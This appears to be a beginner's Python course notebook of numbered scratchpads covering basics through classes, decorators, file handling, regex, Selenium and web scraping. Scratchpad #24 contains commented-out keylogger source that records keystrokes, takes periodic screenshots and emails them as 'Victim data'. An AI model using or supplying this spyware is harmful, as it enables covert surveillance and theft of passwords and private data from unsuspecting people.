Python Daily Morning April
Python Daily Morning April
Scratchpad #4
# # print("Amount of USD you want to convert?") # usd = input("Amount of USD you want to convert:\n") # inr = float(usd) * 81.93 # inr = round(inr, 2) # print(inr) # name = input("Enter some name: ") # if name == "mark": # print("Meta") # elif name == 'elon': # print("Twitter") # elif name == 'sundar': # print("Google") # else: # print("I don't recognize that name") # print("Program ends") # is_logged_in = input("Enter your username: ") # if is_logged_in: # print("Welcome") # else: # print("〠〠〠〠〠〠〠") # age = int(input("Please enter your age: ")) # if age >= 18 and age < 21: # print("You can enter but can't drink") # elif age >= 21 and age < 65: # print("You can enter and you can drink") # elif age >= 65: # print("Drink are free") # else: # print("You can't enter") is_logged_in = input("Enter your username: ") if not is_logged_in: print("Please login to continue") else: print("Welcome")
Scratchpad #5
# age = input("Please enter your age: ") # if age: # age = int(age) # if age >= 18 and age < 21: # print("You can enter but can't drink") # elif age >= 21 and age < 65: # print("You can enter and drink") # elif age >= 65: # print("Drinks are free") # else: # print("You can't enter") # else: # print("Please enter a valid age") # player1 = input("Please enter player 1' choice: ") # player2 = input("Please enter player 2' choice: ") # if player1 == player2: # print("It's a draw") # elif (player1 == 'rock' and player2 == 'scissors') or ( # player1 == 'paper' and player2 == 'rock') or (player1 == 'scissors' # and player2 == 'paper'): # print("Player 1 wins") # elif (player2 == 'rock' and player1 == 'scissors') or ( # player2 == 'paper' and player1 == 'rock') or (player2 == 'scissors' # and player1 == 'paper'): # print("Player 2 wins") # else: # print("Something went wrong") # full_name = "John Doe" # for char in full_name: # print(char) # for num in range(5, 25): # print(num) # print("-----------") # for num in range(1, 11): # print(num * 2) # for num in range(10): # print(num) # for num in range(10): # print(num) # for num in range(0, 10, 2): # print(num) # for num in range(10, 0, -3): # print(num) # for num in range(1, 21): # if num == 5 or num == 16: # print("FizzBuzz") # elif num % 2 == 0: # print(f"{num} - Fizz is even") # elif num % 2 != 0: # print(f"{num} - Fizz is odd") # for num in range(10): # print(num) # count = 0 # while count < 10: # count += 1 # print(count) # password = input("Please enter the secret password: ") # while password != "hello": # print("Incorrect password!") # password = input("Please enter the secret password again: ") # print("Hello World") # password = input("Please enter the secret password: ") # while password != "hello": # if password == 'quit': # break # print("Incorrect password!") # password = input("Please enter the secret password again: ") # password = input("Please enter the secret password: ") # while True: # if password == "hello": # break # print("Incorrect password!") # password = input("Please enter the secret password again: ") count = 1 while True: player1 = input("Please enter player 1' choice: ") player2 = input("Please enter player 2' choice: ") if player1 == player2: print("It's a draw") elif (player1 == 'rock' and player2 == 'scissors') or ( player1 == 'paper' and player2 == 'rock') or (player1 == 'scissors' and player2 == 'paper'): print("Player 1 wins") elif (player2 == 'rock' and player1 == 'scissors') or ( player2 == 'paper' and player1 == 'rock') or (player2 == 'scissors' and player1 == 'paper'): print("Player 2 wins") else: print("Something went wrong") answer = input("Do you want to play again? (y/n): ") if answer != 'y': break # if count == 10: # break # count += 1
Scratchpad #6
# tasks = [] # while True: # task = input("Add a task to your list (q to quit): ") # if task == '': # print("Please enter a valid task\n") # elif task == 'q': # break # else: # tasks.append(task) # print(tasks) # langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"] # if "Python" in langs: # print("That's good") # else: # print("Do something else") # for lang in langs: # print(lang) langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"] i = 0 while i < len(langs): print(langs[i]) i += 1
Scratchpad #7
# my_list = [1, 2, 2, 3, 4, 55, 23, 3, 2, 65, 2] # print(my_list.count(my_list.count(2))) # my_list = [1, 2, 3, 4, 5, 6, 7, 8] # doubles = [num * 2 for num in my_list] # # doubles = [] # # for num in my_list: # # doubles.append(num * 2) # print(doubles) # names = ["john", 'jane', 'jack', 'jill'] # upper_names = [name.upper() for name in names] # print(names) # print(upper_names) # my_list = [1, 2, 3, 4, 5, 6, 7, 8] # # evens = [num for num in my_list if num % 2 == 0] # # print(evens) # result = [num * 2 if num % 2 == 0 else num / 2 for num in my_list] # print(result) # for num in [num * 2 for num in my_list]: # print(num) message = "Hello Python!" # print("".join()) print("".join([char for char in message if char not in "aeiou"]))
Scratchpad #8
# # nested_list = [[[1, 2, 3], [1, 2, 3], [1, 2, 3]], # # [[1, 2, 3], [1, 2, 3], [1, 2, 3]], # # [[1, 2, 3], [1, 2, 3], [1, 2, 3]]] # # total = 0 # # for lst in nested_list: # # for num in lst: # # total += num # # print(total) # # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] # # [[print(num) for num in lst] for lst in nested_list] # # board = [[n for n in range(3)] for num in range(3)] # # [[0, 1, 2], [0, 1, 2], [0, 1, 2]] # board = [['X' if n % 2 == 0 else 'O' for n in range(3)] for _ in range(3)] # print(board) # product1 = [ # 'iPhone 14', 'Apple', 500, 100000, 'Some description', 'https://...', True # ] # print(product1[0]) # product1 = { # "description": "Something.", # "name": "iPhone 14", # "brand": "Apple", # "price": 100000, # "inventory": 500, # 1000: 'hello' # } # print(product1["name"]) # product1 = { # "description": "Something.", # "name": "iPhone 14", # "brand": "Apple", # "price": 100000, # "inventory": 500, # } # for key, value in product1.items(): # print(key, value) # print(f"The value of key {key} is {value}") # for key in product1.keys(): # print(product1[key]) # print(product1["name"]) # for key in product1.keys(): # print(key, product1[key]) # for item in product1.items(): # print(item) # print(item[0], item[1]) # for key, value in product1.items(): # print(key, value) # # print(f"{key} ---- {value} |||") product1 = { "description": "Something.", "name": "iPhone 14", "brand": "Apple", "price": 100000, "inventory": 500, } print("hello", 1000, 123123, 123123) # print(product1["brand"]) song1 = { "title": "....", "artists": ["...", "..."], "album": "...", } songs = [{ "title": "....", "artists": ["...", "..."], "album": "...", }, { "title": "....", "artists": ["...", "..."], "album": "...", }]
Scratchpad #9
# # def greet(): # # print("Hello World") # # print("Hello World") # # print("Hello World") # # greet() # # greet() # # greet() # # def square_of_two(): # # return 2**2 # # # square_of_two() # # # print(square_of_two()) # # result = square_of_two() # # square_of_two() # # square_of_two() # # print(square_of_two()) # from random import random # def flip_coin(): # if random() > 0.5: # return "HEADS" # else: # return "TAILS" # print(flip_coin()) # def add(a, b, c): # return a + b + c # print(add(10, 20, 30)) # def sum_all_numbers(numbers): # total = 0 # for num in numbers: # if num % 2 != 0: # total += num # return total # print(sum_all_numbers([1, 2, 3, 4, 5, 6, 7])) # def is_odd_num(num): # if num % 2 != 0: # return True # return False # print(is_odd_num(10)) # def multiply(a=1, b=1): # return a * b # print(multiply(10)) def add(a, b): return a + b def sub(a, b): return a - b def math(a, b, fn=sub): return fn(a, b) print(math(10, 5))
Scratchpad #10
# def greet(first_name="Test1", last_name="Test2"): # return f"Hello, {first_name} {last_name}" # # print(greet(last_name="Doe", first_name="Jane")) # name = "Jane Doe" # def greet(): # name = "Jack Smith" # return name # # print(name) # print(greet()) # total = 0 # def test(): # global total # total += 10 # print(total) # print(total) # test() # print(total) # total = 0 # def test2(num): # final_result = num + 10 # return final_result # print(test2(1231231234234)) # mln = "Mojar" # mfn = "Sanika" # def greet(first_name, last_name): # return f"Hello my name is {first_name} {last_name}" # print(greet(mfn, mln)) # total = 0 # def test1(): # global total # total += 10 # test1() # test1() # print(total) # total = 0 # def test2(num): # final_result = num + 10 # return final_result # total = test2(total) # total = test2(total) # total = test2(total) # print(total) def outer(): count = 0 def inner(): nonlocal count count += 1 return count return inner() outer()
Scratchpad #11
# def add(a, b): # """Function takes in 2 numbers and add them and returns it""" # return a + b # # print(add.__doc__) # # print([].append.__doc__) # print([].pop.__doc__) # def add(*nums): # total = 0 # for num in nums: # total += num # return total # print(add(10, 4, 56, 23, 100, 200, 300)) # # print(add(10, 5, 5)) # def user_profile(**kwargs): # print(kwargs) # for item in kwargs.items(): # print(item) # user_profile(first_name="John", last_name="Doe", hello="world") # max(102,4,5,4,3,445) => 445 # min(102,4,5,4,3,445) => 3 # def show_info(a, b, *args, role="moderator", **kwargs): # return [a, b, args, role, kwargs] # print( # show_info(10, # 20, # 30, # 40, # 50, # 60, # role="admin", # first_name="John", # last_name="Doe")) # def add(*nums): # nums = ([10, 20, 30, 40]) # total = 0 # for num in nums: # total += num # print(total) # return total # nums = [10, 20, 30, 40] # print(add(*nums)) def say_name(first, last): print(f"My name is {first} {last}.") # say_name(first="John", last="Doe") name = {"first": "Robert", "last": "Moore"} say_name(**name) # say_name(first=name["first"], last=name["last"])
Scratchpad #12
# # # # def add(a, b): # # # # return a + b # # # add = lambda a, b: a + b # # # def square(x): # # # return x**2 # # # print(add(10, 5)) # # # print(square(5)) # # def math(a, b, fn): # # return fn(a, b) # # def add(a, b): # # return a + b # # def sub(a, b): # # return a - b # # # print(math(10, 5, lambda a, b: a * b)) # # # def div(num1, num2): # # # return num1 / num2 # # div = lambda *nums: nums # # print(div(10, 5, 6)) # nums = [1, 2, 3, 4, 5, 6, 7, 8] # # doubles = [] # # for num in nums: # # doubles.append(num * 2) # # doubles = [num * 2 for num in nums] # def double(num): # return num * 2 # doubles = list(map(lambda num: num * 2, nums)) # # doubles = list(map(double, nums)) # print(doubles) # nums = [1, 2, 3, 4, 5, 6, 7, 8] # result = filter(lambda num: num % 2 == 0, nums) # print(list(result)) names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob'] result = map(lambda name: f"The one who wins is {name}", filter(lambda name: len(name) < 5, names)) print(list(result))
Scratchpad #13
# def colorize(text, color): # colors = ("red", "yellow", "blue", "green", "cyan") # if type(color) != str: # raise Exception("Hello World") # if color not in colors: # raise ValueError("Invalid color.") # print(f"Printed {text} in {color}") # colorize("hello world", 1000) try: result = 10 / 10 # except Exception as err: # print("Something went wrong", err) except (ZeroDivisionError, TypeError) as err: print("Something went wrong", err) else: print(result) finally: print("Will always run") print("Run this")
Scratchpad #14
# import random as r # def random(): # return "hello" # print(random()) # print(r.randint(10, 100)) from random import randint, random, choice # print(random()) # print(randint(10, 100)) def flip_coin(): if random() > 0.5: print("HEADS") else: print("TAILS") flip_coin()
Scratchpad #15
# import random # # from pprint import pprint # SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds") # RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", # "Queen", "King") # NCARDS = 8 # def get_card(deck_list_in): # this_card = deck_list_in.pop() # return this_card # def shuffle(deck_list_in): # deck_list_out = deck_list_in.copy() # random.shuffle(deck_list_out) # return deck_list_out # print("Welcome to higher or lower") # print( # "You have to choose whether the next card to be shown will be higher or lower than the current card" # ) # print( # "Getting it right adds 20 points; get it wrong and you will lose 15 points" # ) # print() # starting_deck_list = [] # for suit in SUIT_TUPLE: # for this_value, rank in enumerate(RANK_TUPLE): # card_dict = {"rank": rank, "suit": suit, "value": this_value + 1} # starting_deck_list.append(card_dict) # score = 50 # while True: # print() # game_deck_list = shuffle(starting_deck_list) # current_card_dict = get_card(game_deck_list) # current_card_rank = current_card_dict["rank"] # current_card_value = current_card_dict["value"] # current_card_suit = current_card_dict["suit"] # print(f"Starting card is {current_card_rank} of {current_card_suit}") # print() # for card_number in range(0, NCARDS): # answer = input( # f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): " # ) # answer = answer.casefold() # next_card_dict = get_card(game_deck_list) # next_card_rank = next_card_dict["rank"] # next_card_value = next_card_dict["value"] # next_card_suit = next_card_dict["suit"] # print(f"Next card is {next_card_rank} of {next_card_suit}") # if answer == 'h': # if next_card_value > current_card_value: # print("You got it right, it was higher") # score += 20 # else: # print("Sorry, it was not higher") # score -= 15 # elif answer == "l": # if next_card_value < current_card_value: # print("You got it right, it was lower") # score += 20 # else: # print("Sorry, it was not lower") # score -= 15 # print(f"Your score is: {score}") # print() # current_card_rank = next_card_rank # current_card_value = next_card_value # current_card_suit = next_card_suit # go_again = input("To play again, press ENTER, or 'q' to quit: ") # if go_again == "q": # break # print("Thank you for playing.") # =============================================== class User: def __init__(self, first_name, last_name, email, age): # constructor self.first_name = first_name self.last_name = last_name self.email = email self.__age = age self.city = "Mumbai" self.country = "India" def get_age(self): # LOGIC return self.__age user1 = User("John", "Doe", "[email protected]", 20) user2 = User("Jane", "Smith", "[email protected]", 22) # print(user1.first_name, user2.last_name, user1.city) # print(user1.__age) print(user1.get_age())
Scratchpad #16
# class Math: # @classmethod # def add(cls, a, b): # return a + b # @classmethod # def sub(cls, a, b): # return a - b # @classmethod # def div(cls, a, b): # return a / b # # print(Math.add(10, 4)) # class User: # total_users = 0 # active_users = 0 # def __init__(self, first_name, last_name, age): # self.first_name = first_name # self.last_name = last_name # self.age = age # self.city = "Mumbai" # User.total_users += 1 # def __repr__(self): # return self.first_name + " " + self.last_name # @classmethod # def get_total_users(cls): # return cls.total_users # def login(self): # User.active_users += 1 # def logout(self): # User.active_users -= 1 # def greet(self, message): # return f"{message}. I am {self.first_name} {self.last_name}" # def change_city(self, new_city): # self.city = new_city # return self.city # john = User("John", "Doe", 20) # john.age = 30 # jane = User("Jane", "Smith", 25) # # jane.login() # # john.login() # print(john) # # print(User.get_total_users()) # # print(john.age) # # print(jane.greet("Hi")) # # print(john.greet("Hi")) # # john.change_city("Pune") # # print(john.city) # class User: # def __init__(self, first_name, last_name, age): # self.first_name = first_name # self.last_name = last_name # self._age = age # @property # def age(self): # return self._age # @age.setter # def age(self, new_age): # if new_age < 90: # self._age = new_age # return self._age # else: # raise ValueError("That can't be your age") # def get_age(self): # return self._age # def set_age(self, new_age): # if new_age < 90: # self._age = new_age # return self._age # else: # raise ValueError("That can't be your age") # def login(self): # return True # def logout(self): # return True # class Admin(User): # def create_group(self, group_name): # return f"{group_name} created" # user1 = User("Jane", "Doe", 20) # user2 = Admin("John", "Doe", 22) # print(user1.login()) # print(user2.login()) # print(user2.create_group("Test")) # user1 = User("Jane", "Doe", 20) # user1._age = 10000000 # user1.set_age(1000) # print(user1.get_age()) # print(user1.age) # user1.age = 50 # user1.age(50) # # user1.age = 30 # print(user1.age) class User: def __init__(self, first_name, last_name, age): self.first_name = first_name self.last_name = last_name self._age = age def __repr__(self): return self.first_name + " " + self.last_name def login(self): return True def logout(self): return True class Admin(User): def __init__(self, first_name, last_name, age, email): super().__init__(first_name, last_name, age) self.email = email def create_group(self, group_name): return f"{group_name} created" user1 = User("Jane", "Doe", 20) user2 = Admin("John", "Doe", 22, "[email protected]") print(user1) print(user2)
Scratchpad #17
# # class Human: # # def __init__(self, name): # # self.name = name # # def greet(self): # # print("Hello World") # # class Animal: # # def __init__(self, name): # # self.name = name # # def greet(self): # # print("asdjnkasjdnaksd") # # class Mutant(Human, Animal): # # def greet(self): # # print("Hello again") # # test1 = Mutant("Doe") # # print(test1.name) # # test1.greet() # # class User: # # def __init__(self, first_name, last_name, age): # # self.first_name = first_name # # self.last_name = last_name # # self.age = age # # def __repr__(self): # # return self.first_name + " " + self.last_name # # def __len__(self): # # return self.age # # def __add__(self, user): # # return User("New", "Born", 0) # # def __gt__(self, user): # # if self.age > user.age: # # return True # # return False # # user1 = User("Jane", "Doe", 20) # # user2 = User("John", "Doe", 25) # # # print(len(user1)) # # # print(user1 + user2) # # print(user1 > user2) # class User: # def __init__(self, first_name, last_name, age): # self.first_name = first_name # self.last_name = last_name # self.age = age # def greet(self): # return "Hello World" # user1 = User("Jane", "Doe", 20) # print(user1.greet()) # print(user1.first_name) # def Admin(first_name, last_name, age): # def greet(): # return "Hello World" # return { # "first_name": first_name, # "last_name": last_name, # "age": age, # "greet": greet # } # user2 = Admin("John", "Smith", 25) # print(user2["greet"]()) # print(user2["first_name"]) # for next(num) in iter([1, 2, 3, 4]): # print(num) # def my_for(iterable): # iterator = iter(iterable) # while True: # try: # print(next(iterator)) # except StopIteration: # break # my_for("Hello World. This is a test message.") class Counter: def __init__(self, start, end, step=1): self.start = start self.end = end self.step = step def __iter__(self): return self def __next__(self): if self.start < self.end: num = self.start self.start += self.step return num else: raise StopIteration # c1 = Counter(0, 50, 5) # ic1 = iter(c1) # print(ic1) # print(next(ic1)) # print(next(ic1)) # print(next(ic1)) # print(next(ic1)) # print(next(ic1)) # print(next(ic1)) for num in range(0, 50, 5): print(num) for num in Counter(0, 50, 5): print(num)
Scratchpad #18
# # # # def count_up_to(max): # # # # count = 1 # # # # while count <= max: # # # # yield count # # # # count += 1 # # # # print(count_up_to(10)) # # # # # result = count_up_to(1000) # [1,2,3,4,5,6,7,8,9,10] # # # # # # print(next(result)) # # # # # # print(next(result)) # # # # # # print(next(result)) # # # # # # print(next(result)) # # # # # for num in result: # # # # # print(num) # # # # # def fib_list(max): # # # # # nums = [] # # # # # a, b = 0, 1 # # # # # while len(nums) < max: # # # # # nums.append(b) # # # # # a, b = b, a + b # # # # # return nums # # # # # result = fib_list(100000000000000) # # # # # print(result) # # # # def fib_gen(max): # # # # a, b = 0, 1 # # # # count = 0 # # # # while count < max: # # # # a, b = b, a + b # # # # yield a # # # # count += 1 # # # # result = fib_gen(1000000) # # # # for num in result: # # # # print(num) # # # # g = (num for num in range(10)) # # # # print(g) # # # import time # # # gen_start_time = time.time() # # # print(sum(num for num in range(100000000))) # # # gen_stop = time.time() - gen_start_time # # # list_start_time = time.time() # # # print(sum([num for num in range(100000000)])) # # # list_stop = time.time() - list_start_time # # # print(f"Generator took: {gen_stop}") # # # print(f"List Comp took: {list_stop}") # # # def math(a, b, fn): # # # return fn(a, b) # # # print(math(10, 5, lambda a, b: a + b)) # # def sum(n, func): # # total = 0 # # for num in range(1, n + 1): # # total += func(num) # # return total # # def square(n): # # return n * n # # def cube(n): # # return n * n * n # # print(sum(3, square)) # # print(sum(3, cube)) # import random # def greet(person): # def get_mood(): # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # msg = random.choice(mood) # return msg # result = f"{get_mood()} {person}" # return result # print(greet("John")) # Bank # Class METHOD: gen_acc_no() # name, initials, address, phone: [], IFSC, branch, customers: [Customer] # create_customer() -> Customer() # get_all_customers() # find_customer_by_email() # find_customer_by_phone() # filter_customers_by_name(first_name, middle_name, last_name) # edit_details({phone: []}) # Customer # first_name, midle_name, last_name, email, phone, address, pan_no, aadhar_no, acc_no, balance # deposit() # withdraw() # edit_details() # check_balance() # sbi = Bank(....) # cust1 = sbi.create_customer(......)
Scratchpad #19
# # # import random # # # def make_greet_func(person): # # # def make_message(): # # # msg = random.choice( # # # ["Hello", "What!", "What the heck do you want!", "Get lost!"]) # # # return f"{msg} {person}" # # # return make_message # # # message_to_jane = make_greet_func("Jane") # # # message_to_john = make_greet_func("John Doe") # # # print(message_to_jane()) # # # print(message_to_john()) # # def stars(fn): # # def wrapper(): # # print("*" * 10) # # fn() # # print("*" * 10) # # return wrapper # # @stars # hello = stars(hello) # # def hello(): # # print("Hello World") # # # hello = stars(hello) # # hello() # from functools import wraps # def make_uppercase(fn): # """Decorator that uppercases""" # @wraps(fn) # def wrapper(*args, **kwargs): # """Wrapper function""" # return fn(*args, **kwargs).upper() # return wrapper # @make_uppercase # say_hello = make_uppercase(say_hello) # def say_hello(message, person): # """Function that says hello to someone""" # return f"{message}, {person}" # # print(say_hello("hello", "Jane")) # print(say_hello.__doc__) # print(say_hello.__name__) # def ensure_first_arg_is(val): # def inner(fn): # def wrapper(*args, **kwargs): # if args and args[0] != val: # raise ValueError(f"First arg needs to be {val}") # else: # return fn(*args, **kwargs) # return wrapper # return inner # @ensure_first_arg_is("Song 435") # def fav_songs(*songs): # print(songs) # # fav_songs = ensure_first_arg_is("Song 435")(fav_songs) # fav_songs("Song 45", "Some 2", "Song 123", "Song 3442") def enforce(*types): def inner(fn): def wrapper(*args, **kwargs): new_args = [] for a, t in zip(args, types): # [("hello", str), (10, int)] try: new_args.append(t(a)) except (ValueError, TypeError): return "Something went wrong" return fn(*new_args) return wrapper return inner @enforce(str, int) def announce(message, times): print((message + "\n") * times) announce(20, 10)
Scratchpad #20
# class Bank: # def __init__(self, name): # self.name = name # self.customers = [] # def create_customer(self, name, email): # new_customer = Customer(name, email) # self.customers.append(new_customer) # return new_customer # class Customer: # def __init__(self, name, email): # self.name = name # self.email = email # sbi = Bank("State Bank Of India") # john = sbi.create_customer("John", "[email protected]") # print(john)
Scratchpad #21
# # with open("test.txt") as file: # # print(file.read()) # class Human: # def __init__(self, name, age): # self.name = name # self.age = age # def __add__(self, human): # return "hello world" # user1 = Human("Jane", 20) # user2 = Human("John", 22) # print(user1 + user2) # with open("test2.txt", "r") as file: # data = file.read() # data = data.upper() # data = data.replace("HELLO", "NAMASTE") # with open("test2.txt", "w") as file: # file.write(data) def find_and_replace(file, word, replacement): with open(file, "r") as f: contents = f.read() contents = contents.replace(word, replacement) with open(file, "w") as f: f.write(contents) find_and_replace("test2.txt", "NAMASTE", "HELLO")
Scratchpad #22
# from csv import reader, DictReader, writer, DictWriter # # with open("users.csv") as file: # # csv_reader = reader(file) # # next(csv_reader) # # print(list(csv_reader)) # # # for row in csv_reader: # # # print(row) # # # csv_reader = DictReader(file) # # # print(list(csv_reader)) # # # for row in csv_reader: # # # print(row) # # with open("users2.csv", "w", newline="") as file: # # csv_writer = writer(file) # # csv_writer.writerow(["First name", "Middle Name", "Last Name", "Email"]) # # csv_writer.writerow(["John", "Jack", "Doe", "[email protected]"]) # # csv_writer.writerow(["Jane", "James", "Smith", "[email protected]"]) # with open("users2.csv", "w", newline="") as file: # headers = ["First Name", "Middle Name", "Last Name", "Email"] # csv_writer = DictWriter(file, fieldnames=headers) # csv_writer.writeheader() # csv_writer.writerow({ # "First Name": "John", # "Middle Name": "Jack", # "Last Name": "Doe", # "Email": "[email protected]" # }) # import pickle import json, jsonpickle class User: def __init__(self, first_name, last_name, email): self.first_name = first_name self.last_name = last_name self.email = email self.city = "Mumbai" self.hello = True self.world = None def __repr__(self): return self.first_name def greet(self): return f"Hello World, my name is {self.first_name}" # user1 = User("John", "Doe", "[email protected]") # # with open("users_data.pickle", "wb") as file: # # pickle.dump(user1, file) # with open("users_data.pickle", "rb") as file: # restored_user = pickle.load(file) # print(restored_user.greet()) # print(user1.__dict__) # print(json.dumps(user1.__dict__)) # with open("users_data.json", "w") as file: # stored = jsonpickle.encode(user1) # file.write(stored) with open("users_data.json") as file: contents = file.read() data = jsonpickle.decode(contents) print(data.greet())
Scratchpad #23
# import re # pattern = re.compile(r"\+91\s?\d{3}\s?\d{4}\s?\d{4}") # # result = pattern.search("Call us on +91 022 2345 6789 or +9102223456789 for enquiries") # # print(result.group()) # result = pattern.findall("Call us on +91 022 2345 6789 or +9102223456789 for enquiries") # print(result) # def extract_phone(phone): # phone_regex = re.compile(r"^\+91\s?\d{3}\s?\d{4}\s?\d{4}$") # match = phone_regex.search(phone) # if match: # return match.group() # else: # return None # result = extract_phone("+91 022 2345 6789") # print(result) # def is_valid_phone(phone): # phone_regex = re.compile(r"\+91\s?\d{3}\s?\d{4}\s?\d{4}") # match = phone_regex.fullmatch(phone) # if match: # return True # return False # print(is_valid_phone("+91 022 2345 6789")) # ------------------------- from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from time import sleep browser = webdriver.Chrome("chromedriver.exe") browser.maximize_window() browser.get("https://www.youtube.com/") sleep(5) search_box = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input") sleep(1) search_box.click() sleep(1) search_box.send_keys("the flash trailer", Keys.ENTER) sleep(4) # video = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string") # sleep(1) # video.click() video = browser.find_element(By.PARTIAL_LINK_TEXT, "Ezra Miller") sleep(1) video.click() sleep(50)
Scratchpad #24
# from pynput.keyboard import Key, Listener # import pyautogui # from time import sleep # from datetime import datetime # import yagmail # count = 0 # keys = [] # try: # def on_press(key): # global keys, count # keys.append(key) # count += 1 # if count >= 10: # write_file(keys) # keys = [] # def write_file(keys): # with open("log.txt", "a") as f: # for key in keys: # k = str(key).replace("'", "") # if k.find("space") > 0: # f.write(str(" ")) # elif k.find("cap_lock") > 0: # f.write(str("<CAPS_LOCK>")) # elif k.find("enter") > 0: # f.write("\n") # elif k.find("Key") == -1: # f.write(k) # def on_release(key): # if key == Key.esc: # return False # def take_screenshot(): # screen = pyautogui.screenshot() # screen.save("screenshot.png") # def send_email(): # receiver_email = "" # subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}" # yag = yagmail.SMTP("", "") # contents = ["<b><font color='red'>Your Victim Data</font></b>"] # attachments = ["log.txt", "screenshot.png"] # yag.send(receiver_email, subject, contents, attachments) # print("Email sent") # with Listener(on_press=on_press, on_release=on_release) as listener: # while True: # sleep(30) # take_screenshot() # send_email() # listener.join() # except KeyboardInterrupt: # print("Program closed") # from bs4 import BeautifulSoup # data = """ # <!DOCTYPE html> # <html lang="en"> # <head> # <meta charset="UTF-8" /> # <title>My App</title> # </head> # <body> # <h1>Hello World</h1> # <h2 class="test">Hello World</h2> # <p id="hello"> # Lorem ipsum dolor, sit amet consectetur adipisicing elit. Quisquam quidem # corporis, exercitationem expedita ipsam ab? Exercitationem quibusdam sunt # excepturi voluptatem perspiciatis ex delectus at, dolore praesentium # doloremque laborum voluptatibus nisi. # </p> # <ul> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # </ul> # </body> # </html> # """ # soup = BeautifulSoup(data, "html.parser") # print(soup.body.h1) # print(type(soup.body.h1)) # print(soup.find("li")) # print(soup.find_all("li")) # el = soup.find(class_="test") # print(el.find_next_sibling()) # print(el.find_parent()) # print(soup.find("p")["id"]) import requests from bs4 import BeautifulSoup from csv import writer response = requests.get("https://arstechnica.com/") soup = BeautifulSoup(response.text, "html.parser") articles = soup.find_all(class_="article") with open("articles.csv", "w", newline="") as file: csv_writer = writer(file) csv_writer.writerow(["title", "excerpt", "author", "date", "link"]) for article in articles: title = article.find("h2").get_text() excerpt = article.find(class_="excerpt").get_text() author = article.find("span").get_text() date = article.find(class_="date").get_text() link = article.find("a")["href"] csv_writer.writerow([title, excerpt, author, date, link])